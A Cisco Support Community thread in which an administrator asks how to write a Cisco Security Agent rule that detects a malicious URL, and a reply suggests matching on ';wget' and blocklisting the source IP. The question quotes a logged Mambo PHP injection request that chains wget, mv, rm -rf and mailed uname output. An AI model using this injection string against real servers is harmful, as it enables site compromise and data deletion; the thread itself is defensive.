Cisco Support Community
Showing results for 
Search instead for 
Did you mean: 

Welcome to Cisco Support Community. We would love to have your feedback.

For an introduction to the new site, click here. And see here for current known issues.

New Member

CSA rule for URL strings

I would like to create a rule that triggers on specific URL strings. For example, an attacker is connecting to the Web Server my csa is on, and their http request is:

/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path= cache;wget;mv cm index.php;rm -rf cm*; uname -a | mail -s uname_i2_63.160.93.140;uname -a | mail -s uname_i2_6;echo| HTTP/ 1.1.Host: 63.160 .93.140.User-Agent: Mozilla/4.0 (compatible; MSI E 6.0; Windows NT 5.1;)

I want the rule to trigger on the "wget". Any suggestions on making this rule, and how can I get the source IP address?

New Member

Re: CSA rule for URL strings

Configure your data set to include *wget* or maybe *;wget* to be more unique. Look in the default data set labelled: Common UNIX command exploits. wget is in that data set already.

In CSA 5.0 and greater, the DACL rule has the SET action. You can set the Host Address to the untrusted Host lists (local only -or- locally and globally). This updates the IP address list in the @dynamic variable. Use @dynamic where you would a Network Address Set to have other rules use this list of IP Addresses.

CreatePlease to create content